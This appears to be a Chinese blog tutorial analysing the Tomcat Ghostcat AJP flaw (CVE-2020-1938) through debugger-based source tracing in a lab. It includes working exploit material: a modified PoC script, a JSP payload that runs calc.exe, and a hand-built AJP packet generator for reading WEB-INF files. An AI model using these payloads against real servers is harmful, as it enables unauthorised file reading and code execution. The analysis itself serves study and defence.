CVE-2020-1938

  • 1.概述
    • 1.1 tomcat概述
    • 1.2 gostcat概述 - 漏洞概述
  • 2. 漏洞成因
    • 2.1 前置基础
      • 2.1.1 Tomcat Connector(连接器)
      • 2.1.2 Servlet(服务程序)
      • 2.1.3 Tomcat内部处理请求流程
    • 2.2 源码追踪分析两个利用方案的执行流程
      • 2.2.1 获取利用poc
      • 2.2.2 文件读取漏洞
        • 关键点1:`AjpProcessor类` -> `service()` -> `prepareRequest()`
          • 补充基础调试方法:
        • 关键点2:`DefaultServlet类` -> `service()` -> `doGet()`
        • 关键点3:`getRelativePath()`
        • 关键点4:`getResource()` -> `validate()` -> `normalize()`
        • 关键点5:`ServletOutputStream.write()`
        • 关键点6:POC中的请求url(读取webapps下其他目录的文件)
      • 2.2.3 文件包含漏洞 - RCE
        • 利用示例
        • 源码追踪
          • 关键点1:`JspServlet类` -> `service()` -> `serviceJspFile()`
          • 关键点2:`JspServletWrapper类`:`getServlet()` -> `service()`
  • 3. 利用方案
    • 3.1 利用poc脚本直接实现AJP协议通信
    • 3.2 数据包分析,抓取流量特征编写py脚本
      • 3.2.1 环境介绍
        • >过程排错<
      • 3.2.2 数据包分析
      • 3.2.3 payload编写实现攻击
        • 3.2.3.1 任意文件读取
        • 3.2.3.2 文件包含漏洞
  • 4. 修补方案
  • 5. 总结

每日坐牢环节又来了,这次周老师掏出了重磅烧脑的tomcat幽灵猫漏洞。从多个角度对其执行原理进行了深入探究。让我们深刻体会到,来自源码追踪的恶意。

阅读须知:

自备:
《IDE源码编译tomcat环境》
《非专业代码阅读选手的一车脑细胞》

1.概述

1.1 tomcat概述

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为比较流行的Web 应用服务器。

Tomcat最初是由Sun的软件架构师詹姆斯·邓肯·戴维森开发的。后来他帮助将其变为开源项目,并由Sun贡献给Apache软件基金会。由于大部分开源项目O’Reilly都会出一本相关的书,并且将其封面设计成某个动物的素描,因此他希望将此项目以一个动物的名字命名。因为他希望这种动物能够自己照顾自己,最终,他将其命名为Tomcat(英语公猫或其他雄性猫科动物)。而O’Reilly出版的介绍Tomcat的书籍(ISBN 0-596-00318-8)的封面也被设计成了一个公猫的形象。而Tomcat的Logo兼吉祥物也被设计为一只公猫。(老虎?猫猫?)

就是一个专门兼容java作为后端语言的web中间件,后来被apache收购,现在出现大多数时候带个apache tomcat这样的头衔。但是不得不说,它出色的性能还是在众多web中间件中比较能打的。

1.2 gostcat概述 - 漏洞概述

Tomcat- AJP协议文件读取/命令执行漏洞(CVE-2020-1938 / CNVD-2020-10487)又名gostcat,幽灵猫。其影响的主要版本如下:

Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

造成的影响是任意文件读取和远程命令执行。十分恶劣。至于它的成因,和先前我们刚看过的fas-cgi未授权访问漏洞有异曲同工之妙。AJP协议作为很多tomcat用户眼里的小透明,一直都伴随着每一次tomcat的运行。在某些版本中,更是自动打开了0.0.0.0:8009这样的监听行为。显然,这样的监听会引发不法分子的注意。

利用AJP请求的伪造,就可以通过这8009端口实现对目标服务器的任意文件读取和远程文件包含引发的RCE。那么,到底是怎么个原理,到底有什么利用的方法。请看下面的内容。

2. 漏洞成因

在探究漏洞成因之前,有必要补充一下基础前置知识。

2.1 前置基础

2.1.1 Tomcat Connector(连接器)

首先来说一下Tomcat的Connector组件,Connector组件的主要职责就是负责接收客户端连接客户端请求的处理加工。每个Connector会监听一个指定端口,分别负责对请求报文的解析和响应报文组装,解析过程封装Request对象,而组装过程封装Response对象。

举个例子,如果把Tomcat比作一个城堡,那么Connector组件就是城堡的城门,为进出城堡的人们提供通道。当然,可能有多个城门,每个城门代表不同的通道。而Tomcat默认配置启动,开了两个城门(通道):一个是监听8080端口的HTTP Connector,另一个是监听8009端口的AJP Connector

Tomcat组件相关的配置文件是在conf/server.xml,配置文件中每一个元素都对应了Tomcat的一个组件(可以在配置文件中找到如下两项,配置了两个Connector组件):



HTTP Connector很好理解,通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器;

AJP Connector是通过AJP协议和一个Web容器进行交互。在将Tomcat与其他HTTP服务器(一般是Apache )集成时,就需要用到这个连接器。AJP协议是采用二进制形式代替文本形式传输,相比HTTP这种纯文本的协议来说,效率和性能更高,也做了很多优化。

显然,浏览器只支持HTTP协议,并不能直接支持AJP协议。所以实际情况是,通过Apache的proxy_ajp模块进行反向代理,暴露成http协议(8009端口)给客户端访问,大致如下图所示:

当然,在不部署apache反向代理时,这里的AJP连接器还是会以8009端口开放连接。

2.1.2 Servlet(服务程序)

Servlet意为服务程序,也可简单理解为是一种用来处理网络请求的一套规范。主要作用是给上级容器(Tomcat)提供doGet()和doPost()等方法,其生命周期实例化、初始化、调用、销毁受控于Tomcat容器。

相当于底层真正在做请求处理的模块,其内部提供了doget与dopost等方法。处理上层传递过来的信息,对其不同的请求方法调用不同的函数。

Tomcat中Servlet的配置是在conf/web.xml。Tomcat默认配置定义了两个servlet,分别为DefaultServletJspServlet

    <servlet><servlet-name>default</servlet-name><servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>listings</param-name><param-value>false</param-value></init-param><load-on-startup>1</load-on-startup></servlet><servlet><servlet-name>jsp</servlet-name><servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class><init-param><param-name>fork</param-name><param-value>false</param-value></init-param><init-param><param-name>xpoweredBy</param-name><param-value>false</param-value></init-param><load-on-startup>3</load-on-startup></servlet>

所有的请求进入tomcat,都会流经servlet。由注释可以很明显看出,如果没有匹配到任何应用指定的servlet,那么就会流到默认的servlet(即DefaultServlet),而JspServlet负责处理所有JSP文件的请求。这里的概念有一点点像虚拟主机,但是仅仅局限在处理流程上。匹配不到模块会找到默认模块来处理。

2.1.3 Tomcat内部处理请求流程

直接上图:

  1. 用户点击网页内容,请求被发送到本机端口8080,被Connector获得(Connector中的Processor用于封装Request,Adapter用于将封装好的Request交给Container)。
  2. Connector把该请求交给Container中的Engine来处理,并等待Engine的回应。
  3. Engine获得请求localhost/test/index.jsp,匹配所有的虚拟主机Host。
  4. Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机),名为localhost的Host获得请求/test/index.jsp,匹配它所拥有的所有的Context。Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为" "的Context去处理)。
  5. path="/test"的Context获得请求/index.jsp,在它的mapping table中寻找出对应的Servlet。Context匹配到URL PATTERN为*.jsp的Servlet,对应于JspServlet类(匹配不到指定Servlet的请求对应DefaultServlet类)。
  6. Wrapper是最底层的容器,负责管理一个Servlet。构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet()或doPost(),执行业务逻辑、数据存储等程序。
  7. Context把执行完之后的HttpServletResponse对象返回给Host。
  8. Host把HttpServletResponse对象返回给Engine。
  9. Engine把HttpServletResponse对象返回Connector。
  10. Connector把HttpServletResponse对象返回给客户Browser。

当然为了好理解,特地查询了一些单词的意思:

英文 中文
Connector 连接器,连接头
Processor n.(计算机的)处理器(机);处理程序;
Adapter 适配器;改编者;接合器;适应者
Container 容器;集装箱,货柜
Context n.背景,环境;上下文,语境
mapping table 变址表;映象表
Wrapper 包装纸,包装材料;宽大长衣,浴衣;
HttpServletResponse 响应响应对象头概述对象

咳咳,这么一翻译,咱再来捋一遍这个流程:

  1. 客户端发送请求,请求到达8080端口,被程序交给了连接器(连接器内部的处理器负责请求的构造,完了适配器负责将其传递给容器)
  2. 连接器将请求发送给容器中的引擎处理,进入等待状态,等待引擎的回信
  3. 引擎拿到请求,进行虚拟主机HOST的匹配。(根据host头判断给哪一个虚拟主机)
  4. 引擎匹配到了虚拟主机位置,即使未匹配到,也会交给默认的虚拟主机进行处理。当虚拟主机获得请求后,匹配请求的所有上下文(context)。例如给localhost的请求路径为/test/index.jsp,那么host就要匹配路径为/test/的context,如果匹配不到就认为context为" "处理。从这里看这context还很像是pwd命令得到的结果,当前路径。
  5. path="/test"的Context获得请求/index.jsp,在它的mapping table中寻找出对应的Servlet。Context匹配到URL PATTERN为*.jsp的Servlet,对应于JspServlet类(匹配不到指定Servlet的请求对应DefaultServlet类)。
  6. 包装器作为最低层的组件,负责管理一个serverlet,构造出HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet()或doPost(),执行业务逻辑、数据存储等程序。
  7. context将执行完了的HttpServletResponse对象返回给Host。
  8. Host把HttpServletResponse对象返回给Engine。
  9. Engine把HttpServletResponse对象返回Connector。
  10. Connector把HttpServletResponse对象返回给客户Browser。

到这里,应该对整个的处理流程有所感悟,tomcat就是通过连接器,容器中的引擎、虚拟主机模块、上下文处理模块、包装器、serverlet处理。等一系列调用,完成了对一次web请求的处理。

2.2 源码追踪分析两个利用方案的执行流程

理解了上文的基础,下面开始分析漏洞。这个漏洞主要是通过AJP协议(8009端口)触发。正是由于上文所述,Ajp协议的请求在Tomcat内的处理流程与我们上文介绍的Tomcat处理HTTP请求流程类似。我们构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet(DefaultServlet),另一个走jsp servlet(JspServlet),可导致的不同的漏洞。

文件读取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet。

2.2.1 获取利用poc

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py

至于其原理在我们分析完毕之后,就会浮于水面。

2.2.2 文件读取漏洞

通过构造AJP协议请求,我们可以读取到 我们以读取WEB-INF/web.xml文件为例。

POC中赋值了四个很重要的参数,先在此说明:

# 请求url
req_uri = '/asdf'# AJP协议请求中的三个属性
javax.servlet.include.request_uri = '/'
javax.servlet.include.path_info = 'WEB-INF/web.xml'
javax.servlet.include.servlet_path = '/'

关键点1:AjpProcessor类 -> service() -> prepareRequest()

我们要先找到接受请求的第一个类AjpProcessor类。我们在IDE里面输入ctrl+shift+n进行搜索:AjpProcessor

找到文件,点击打开


点击小虫子,开始断点调试:

执行POC脚本,尝试进入断点:

#这里的脚本需要使用python2去运行
[root@blackstone ~]# python2 ajp.py 192.168.2.1 -p 8009 -f WEB-INF/web.xml

看到这个界面就是断点已经进入了:

添加断点位置:390、455。其实455就是prepareRequest()(可以用游标跳转进去),用于process类准备最终要发出去的请求。该方法解析请求,将相关属性匹配到该request的属性里。

重点看这里:老师说一定要单步跟进去瞅瞅。那咱就一定要单步跟进去看一看。

让我康康,进来以后断点给到788,792查看这里的循环赋值

我们游标跳转过来后就一直刷前面的step over就可以看到循环现象:

第一个循环:

第二个循环:

第三次循环:

我们来想想,这是不是在哪里见过?没错,就是我们的POC里面对于AJP协议三条键值的修改信息。到这里就被prepareRequest()函数依次取出,放到request对像里面去了。


这里到最后一次循环的时候可以在809处打一个断点,跟进进入 request.setAttribute(n, v );再去查看一下request的过程:

这里的键值对放到了attributes里面,可以看的很清晰:

那么,我们的处理器processor将request封装好了之后,下一步就是要交给适配器Adapter传递给容器container来处理。

476下断点,进入getadapter()函数。

随后将请求传给CoyoteAdapter,对request进行封装,将请求抓发给Container:
断点344

Tomcat内部处理流程跳过,通过ApplicationFilterChain类的internalDoFilter()方法将流程走到Servlet。搜索ApplicationFilterChain,断点231。

最后直接看Servlet中的处理,调用栈很清晰的展现了Tomcat内部处理的流程:因为这里我们的POC中请求的不是JSP文件,是一个web.xml文件。一定会交给defaultservlet处理,故搜索文件名defaultservlet,打入断点481。


这里的调用栈,完全符合先前我们在2.1.3中对于请求流程的讨论。


本关键点旨在通过断点的调试,熟悉tomcat对于请求的一般处理流程。已经打了的断点大家可以不删除,使用游标跳转,每次可以快速复习一遍这些流程。更有利于我们快速建立对函数调用的认知。

补充基础调试方法:

从左到右依次编号为1-5,下面来解释用途:

  1. step over:越过子函数,但子函数会执行,执行结果会返回回来
  2. step into:进入子函数,单步执行
  3. 强制进入子函数,单步执行
  4. step out就是但单步执行到子函数内时,用step out就可以执行完子函数余下部分,并返回到上一层函数。
  5. 跳转到游标位置

关键点2:DefaultServlet类 -> service() -> doGet()

由上文介绍的Servlet相关基础知识可知,该请求是非JSP文件请求,匹配不到指定的servlet,所以会映射到默认的servlet(default servlet)处理。tomcat源码有个DefaultServlet类(路径:org/apache/catalina/servlets/DefaultServlet.java),我们断点也打到这个类,Debug看一下相关请求流程。

科普一下Servlet如何处理请求:一般请求到达servlet后先执行service()方法,在方法中根据请求方式决定执行doGet()还是doPost()方法。

484断点,查找httpservlet断点634,看是否真的进入了doget()方法:

确实是跳转到了doget方法上,调用了doget()方法。

关键点3:getRelativePath()

doGet()方法内直接进入serveResource()方法,我们直接看serveResource()方法:

ctrl+f搜索到方法进行查看。

进入getRelativePath()方法(ctrl+鼠标单击):注意461断点让这个函数在返回值处停止我们要看一看这个函数的大致执行逻辑。

经过一番分析,我们可以看到三个重要参数(下文红框处):


这三个参数的值如下所示:

static final String INCLUDE_REQUEST_URI = "javax.servlet.include.request_uri";
static final String INCLUDE_PATH_INFO = "javax.servlet.include.path_info";
static final String INCLUDE_SERVLET_PATH = "javax.servlet.include.servlet_path";

上面的几个参数如果不是很明白从那里出来的,再往下分析分析这里的变量定义情况。

这里可以看出来,在函数内部定义了pathinfo,servletpath两个字符串,接收来自request对象内部的pathinfo和serletpath两个参数。我们把源码拿过来注释一下:

    protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {//定义了两个局部字符变量String servletPath;String pathInfo;//判断从attribute中取出来的uri是否不为空,不为空就开始拼接完整路径if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {//进行赋值操作,取出存在attribute中的pathifo和serletpathpathInfo = (String) request.getAttribute(RequestDispatcher.INCLUDE_PATH_INFO);servletPath = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);} else {pathInfo = request.getPathInfo();servletPath = request.getServletPath();}//创建返回对象,接收完整路径StringBuilder result = new StringBuilder();if (servletPath.length() > 0) {result.append(servletPath);}if (pathInfo != null) {result.append(pathInfo);}//这是个判断函数,根据allowenpath参数决定是否允许空的urlif (result.length() == 0 && !allowEmptyPath) {result.append('/');}//返回result=servletpath+pathinfo,此处即为我们的请求路径return result.toString();}

现在是不是恍然大悟,我们的poc里面那几个参数,都体现了用的地方。

关键点4:getResource() -> validate() -> normalize()

再添加一个839断点,我们好好看看请求的资源究竟是用了什么样的逻辑:

单步跟入getResource()方法,可以看到调用了validate()方法。


这肯定是数据合法性校验的方法,我们需要对其进行进一步跟进。注意这里的断点如果打在了vaildate内部,一定不要尝试重新调试。这个函数似乎在启动tomcat的时候被调用n多次。我们一次调试完毕,记得把断点拆了。

断点258,这里有与一个validate函数内部的可normalize()方法进行了数据校验。单步跟入:

直接把这个模块拿出来看:

public static String normalize(String path, boolean replaceBackSlash) {//判断路径是否为空if (path == null) {return null;}// Create a place for the normalized pathString normalized = path;//判断是否有转义符号'\\'将其还原为'/'if (replaceBackSlash && normalized.indexOf('\\') >= 0)normalized = normalized.replace('\\', '/');//判断路径是否以'/'开头,不是的话就添加一个'/'if (!normalized.startsWith("/"))normalized = "/" + normalized;//结尾不是以'/'结束,对其进行修复,添加上'/'boolean addedTrailingSlash = false;if (normalized.endsWith("/.") || normalized.endsWith("/..")) {normalized = normalized + "/";addedTrailingSlash = true;}//以下为非法字符过滤包括'//','/./','/../'// Resolve occurrences of "//" in the normalized pathwhile (true) {int index = normalized.indexOf("//");if (index < 0) {break;}normalized = normalized.substring(0, index) + normalized.substring(index + 1);}// Resolve occurrences of "/./" in the normalized pathwhile (true) {int index = normalized.indexOf("/./");if (index < 0) {break;}normalized = normalized.substring(0, index) + normalized.substring(index + 2);}// Resolve occurrences of "/../" in the normalized pathwhile (true) {int index = normalized.indexOf("/../");if (index < 0) {break;}if (index == 0) {return null;  // Trying to go outside our context}int index2 = normalized.lastIndexOf('/', index - 1);normalized = normalized.substring(0, index2) + normalized.substring(index + 3);}//if (normalized.length() > 1 && addedTrailingSlash) {// Remove the trailing '/' we added to that input and output are// consistent w.r.t. to the presence of the trailing '/'.normalized = normalized.substring(0, normalized.length() - 1);}// Return the normalized path that we have completedreturn normalized;}
}

返回null,回到validate()方法,就会报**IllegalArgumentException(非法参数)**的异常并终止本次操作。所以,我们的请求路径中不能包含"/…/",也就导致了该漏洞只能读取webapps目录下的文件

经过validate()方法校验后,getResources()方法随后的一系列操作就通过路径读取到了资源。

关键点5:ServletOutputStream.write()

989断点:最后通过getOutputStream()方法获得ServletOutputStream的实例:

1134断点:利用ServletOutputStream.write()向输出流写入返回内容。

随后再经过Tomcat内部流程处理,经过Tomcat的ContainerConnector,最终返回给客户端。

关键点6:POC中的请求url(读取webapps下其他目录的文件)

前文提到POC中还有个关键参数req_uri,这个参数的设置决定了我们可以读取webapps下其他目录的文件。设置其值为一个随意字符串’asdf’,一来是无法匹配到webapps下的路径,走tomcat默认的ROOT目录;二来是为了让tomcat将请求流到DefaultServlet,从而触发漏洞。当请求读取WEB-INF/web.xml文件,则读取的就是webapps/ROOT/WEB-INF/目录下的web.xml。

当读取webapps/manager目录下的文件,只需修改POC中req_uri参数为’manager/asdf’,读取WEB-INF/web.xml文件则是读取webapps/manager/WEB-INF/目录下的web.xml

示例:我们修改poc尝试获取webapps目录下的去其他文件

#1.修改poc内容
[root@blackstone ~]# python2 ajp.py 192.168.2.1 -p 8009 -d docs -f aio.xml#2.测试效果

这里,我的测试环境可以读取部分文件并不是全部。但是现象还是很明显。

略微修改后的poc:

#仅仅添加了一个-d参数,方便使用参数一些
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
#添加接收参数-d后面跟一级目录的名字。
parser.add_argument("-d", '--document', type=str, default='', help="document under the webapps,default is root. exp: manager")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
res_uri = '/' + args.document + '/asdf'
_,data = t.perform_request(res_uri,attributes=[{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},])
print('----------------------------')
print("".join([d.data for d in data]))

2.2.3 文件包含漏洞 - RCE

利用示例

请求经过AjpProcessor类的处理,随后将请求转发给了JspServlet(该原理上文也有介绍,POC中的请求url是.jsp文件,而JspServlet负责处理所有JSP文件的请求)。

首先我们需要在webapps/docs目录下新建文件test.txt内容为(编译环境不同,可能需要更换路径才能执行,部分路径出现403权限拒绝):

<%Runtime.getRuntime().exec("calc.exe");%>

修改POC进行调试。POC中的四个关键参数,也先在此说明:

#请求url,这个参数一定要是以“.jsp”结尾
req_uri = '/manager/ddd.jsp'# AJP协议请求中的三个属性
javax.servlet.include.request_uri = '/'
javax.servlet.include.path_info = 'test.txt'
javax.servlet.include.servlet_path = '/'

执行poc

[root@blackstone ~]# python2 ajpindlude.py 192.168.2.1 -d doc -f test.jsp

主机弹出了计算器,说明确实java代码在未授权的状态下被执行了起来。

源码追踪

关键点1:JspServlet类 -> service() -> serviceJspFile()

断点打到JspServlet类的service()方法,先将servlet_path和path_info拼接在一起,赋值给jspUri(故这个参数是可控的)。

随后进入serviceJspFile()方法,将/test.txt带入Tomcat加载和处理jsp的流程里。具体处理流程就不描述了,这里放上原图,可以清晰的看到tomcat加载和处理jsp的流程图。

关键点2:JspServletWrapper类getServlet() -> service()

最后返回到JspServletWrapper类,获取jsp编译后生成的servlet,随后调用service()方法,请求被执行。

断点476

总结:简单理解就是我们传入的"/test.txt"被当成jsp编译执行。带入了Tomcat处理jsp的处理流程,将jsp(test.txt)转义成Servlet源代码.java(test_txt.java),将Servlet源代码.java编译成Servlet类.class(test_txt.class),Servlet类执行后,响应结果至客户端。

类似于php文件包含,让服务器非法解析一些不应该解析的JSP文件,例如我们上传到文件上传目录的一些反弹shell的jsp文件。

3. 利用方案

3.1 利用poc脚本直接实现AJP协议通信

此种利用方案在上文的2.2.2与2.2.3中已经提过,不再赘述。

3.2 数据包分析,抓取流量特征编写py脚本

通过对数据包的分析和修改,获取攻击载荷。对目标漏洞发起漏洞。这个行为听着就很费人。没事,我们一起来看看这样的操作有多丧心病狂。

3.2.1 环境介绍

自备:tomcat+apache+wireshark+ubuntu环境

这里将其配置成真实项目环境内的部署架构:

#1.启动tomcat
/home/batman/workspace/apache-tomcat-8.5.85/bin/startup.sh#2.编辑apache的AJP代理
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName localhost
DocumentRoot /home/batman/workspace/httpd-bin/htdocs
#LogLevel notice proxy:trace8
ErrorLog /home/batman/workspace/httpd-bin/logs/error_proxy.log
#CustomLog /home/batman/workspace/httpd-bin/logs/access.log combined
#Proxypass / "http://192.168.2.164"
#ProxyPassReverse / "http://192.168.2.164"
#ProxyVia On
#ProxyRequests Off
#ProxyPreserveHost OnProxypass / "ajp://127.0.0.1:8009/"
ProxyPassReverse / "ajp://127.0.0.1:8009/"
#Proxypass / "http://127.0.0.1:8080/"
#ProxyPassReverse / "http://127.0.0.1:8080/"
</VirtualHost>#注意这几个模块的加载
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_ajp_module modules/mod_proxy_ajp.so#3.启动apache - 这里是源码编译的apache,也可以直接使用安装好的
/home/batman/workspace/httpd-bin/bin/apachectl start
#4.测试

>过程排错<

可以叫我坐牢小能手了,这里卡了有大概两天。

场景还原:确定tomcat的8009端口有在监听,8080端口完好且可以代理。但是代理一旦到了8009端口,访问之后无响应,等很久都没动静。有时会返回503

root@ubuntubstone:/home/batman/workspace/conf# curl 127.0.0.1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>503 Service Unavailable</title>
</head><body>
<h1>Service Unavailable</h1>
<p>The server is temporarily unable to service your
request due to maintenance downtime or capacity
problems. Please try again later.</p>
</body></html>

过了很久一直以为是我的apache配置错了,最后才想到查看apache错误日志。这里日志要在配置文件里配了才有:

[Thu Feb 16 17:39:06.402743 2023] [proxy_ajp:error] [pid 5272:tid 140102168704576] [client 192.168.2.1:7590] AH00992: ajp_read_header: ajp_ilink_receive failed
[Thu Feb 16 17:39:06.402755 2023] [proxy_ajp:error] [pid 5272:tid 140102168704576] (70007)The timeout specified has expired: [client 192.168.2.1:7590] AH00878: read response failed from 127.0.0.1:8009 (127.0.0.1)

核心问题:

jp_read_header: ajp_ilink_receive failed

查了一圈,有个外国友人提醒看一下后端代理程序的日志,apache的日志不会很详尽。于是我又翻找到tomcat的日志文件:

cat catalina.2023-02-16.log


这里提示的大致意思是我们tomcat的配置文件server.xml内部的一项配置发生冲突,需要将其修改为空。即:

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address = "0.0.0.0" secretRequired="" />

重新启动tomcat,就正常了。

这里的坑在于,前期就算是配置错误了,tomcat的8009端口也会随着tomcat的启停而启停。让人产生错觉,觉得tomcat一定是正常的,问题出现在apache上。还有一点就是对于错误日志的查看,这是十分重要的一项排错手段。

好了,下面我们开始继续我们的幽灵猫之旅。

3.2.2 数据包分析

上wireshar,抓取本地的localhost网卡数据包。为了更加的说明问题此次我们从宿主机上用IP地址访问目标网站。

可以看到抓取到的数据包,此时抓取的通信就是本地apache和tomcat程序之间的通信。

筛选出指定的数据包:AJP请求包

分析数据包构成,从AJP协议的格式中,看到的数据包中不难分析其基本组成结构:

1.AJP MAGIC    1234
2.AJP DATA LENGTH   01b5   ---> >>> int(0x01b5)   --->437
437
3.AJP DATA     ...
4.AJP END FF#我们获取其16进制AJP头可得:
0000   12 34 01 b5 02 02 00 08 48 54 54 50 2f 31 2e 31
0010   00 00 01 2f 00 00 0b 31 39 32 2e 31 36 38 2e 32
0020   2e 31 00 ff ff 00 0d 31 39 32 2e 31 36 38 2e 32
0030   2e 31 36 34 00 00 50 00 00 07 a0 0b 00 0d 31 39
0040   32 2e 31 36 38 2e 32 2e 31 36 34 00 a0 0e 00 50
0050   4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e
0060   64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69
0070   6e 36 34 3b 20 78 36 34 3b 20 72 76 3a 31 30 39
0080   2e 30 29 20 47 65 63 6b 6f 2f 32 30 31 30 30 31
0090   30 31 20 46 69 72 65 66 6f 78 2f 31 30 39 2e 30
00a0   00 a0 01 00 55 74 65 78 74 2f 68 74 6d 6c 2c 61
00b0   70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c
00c0   2b 78 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e
00d0   2f 78 6d 6c 3b 71 3d 30 2e 39 2c 69 6d 61 67 65
00e0   2f 61 76 69 66 2c 69 6d 61 67 65 2f 77 65 62 70
00f0   2c 2a 2f 2a 3b 71 3d 30 2e 38 00 a0 04 00 3b 7a
0100   68 2d 43 4e 2c 7a 68 3b 71 3d 30 2e 38 2c 7a 68
0110   2d 54 57 3b 71 3d 30 2e 37 2c 7a 68 2d 48 4b 3b
0120   71 3d 30 2e 35 2c 65 6e 2d 55 53 3b 71 3d 30 2e
0130   33 2c 65 6e 3b 71 3d 30 2e 32 00 a0 03 00 0d 67
0140   7a 69 70 2c 20 64 65 66 6c 61 74 65 00 a0 06 00
0150   0a 6b 65 65 70 2d 61 6c 69 76 65 00 00 19 55 70
0160   67 72 61 64 65 2d 49 6e 73 65 63 75 72 65 2d 52
0170   65 71 75 65 73 74 73 00 00 01 31 00 0a 00 0f 41
0180   4a 50 5f 52 45 4d 4f 54 45 5f 50 4f 52 54 00 00
0190   04 39 30 33 30 00 0a 00 0e 41 4a 50 5f 4c 4f 43
01a0   41 4c 5f 41 44 44 52 00 00 0d 31 39 32 2e 31 36
01b0   38 2e 32 2e 31 36 34 00 ff

我们的目的就是模仿上面的方法,向这个AJP数据包里面添加

javax.servlet.include.request_uri = ‘/’
javax.servlet.include.path_info = ‘test.txt’
javax.servlet.include.servlet_path = ‘/’

这三个参数,我们分析其后两个参数的16进制组成:

#AJP_LOCAL_ADDR: 192.168.2.164
0a00 0e 414a505f4c4f43414c5f41444452 0000 0d3139322e3136382e322e31363400
#AJP_REMOTE_PORT: 9030
0a00 0f 414a505f52454d4f54455f504f5254 0000 043930333000

拿AJP_REMOTE_PORT来说,0a00request_header的标志, 表示后面的数据是 request_header。 在官方文档有写 0frequest_header的长度。0000是中间的冒号,后面的则是端口9030。

下面我们要做的就是添加我们的目的属性进去:

#在
AJP_REMOTE_PORT: 59058
AJP_LOCAL_ADDR: 127.0.0.1
#后添加javax.servlet.include.request_uri: /WEB-INF/web.xml
javax.servlet.include.path_info: web.xml
javax.servlet.include.servlet_path: /WEB-INF/#再修改 AJP DATA LENGTH 为正确的大小即可

3.2.3 payload编写实现攻击

3.2.3.1 任意文件读取

import binasciiAJP_MAGIC = '1234'.encode()#这里的头是去掉了1234和数据包长度的AJP_DAT部分
AJP_HEADER = b'02020008485454502f312e310000012f00000b3139322e3136382e322e3100ffff000d3139322e3136382e322e313634000050000007a00b000d3139322e3136382e322e31363400a00e00504d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3130392e3029204765636b6f2f32303130303130312046697265666f782f3130392e3000a0010055746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f617669662c696d6167652f776562702c2a2f2a3b713d302e3800a004003b7a682d434e2c7a683b713d302e382c7a682d54573b713d302e372c7a682d484b3b713d302e352c656e2d55533b713d302e332c656e3b713d302e3200a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300000131000a000f414a505f52454d4f54455f504f525400000439303330000a000e414a505f4c4f43414c5f4144445200000d3139322e3136382e322e31363400'def unhex(hex):return binascii.unhexlify(hex)
def pack_attr(attr):attr_length = hex(len(attr))[2:].encode().zfill(2)return attr_length + binascii.hexlify(attr.encode())attribute = {'javax.servlet.include.request_uri': '/WEB-INF/web.xml','javax.servlet.include.path_info': 'web.xml','javax.servlet.include.servlet_path': '/WEB-INF/',
}req_attribute = b''
for key, value in attribute.items():key_length = hex(len(key))[2:].encode().zfill(2)value_length = hex(len(value))[2:].encode().zfill(2)req_attribute += b'0a00' + pack_attr(key) + b'0000' + pack_attr(value) + b'00'AJP_DATA = AJP_HEADER + req_attribute + b'ff'
AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH.encode() + AJP_DATA
print(AJP_FORWARD_REQUEST)

测试本地AJP头修改情况:

将其部署到kali里边进行测试:

#1.探测端口的开放
┌──(root												

Tomcat- AJP协议文件读取/命令执行漏洞(CVE-2020-1938 / CNVD-2020-10487)相关推荐

  1. 网络抓包方式复现Tomcat- AJP协议文件读取/命令执行漏洞(CVE-2020-1938 / CNVD-2020-10487)

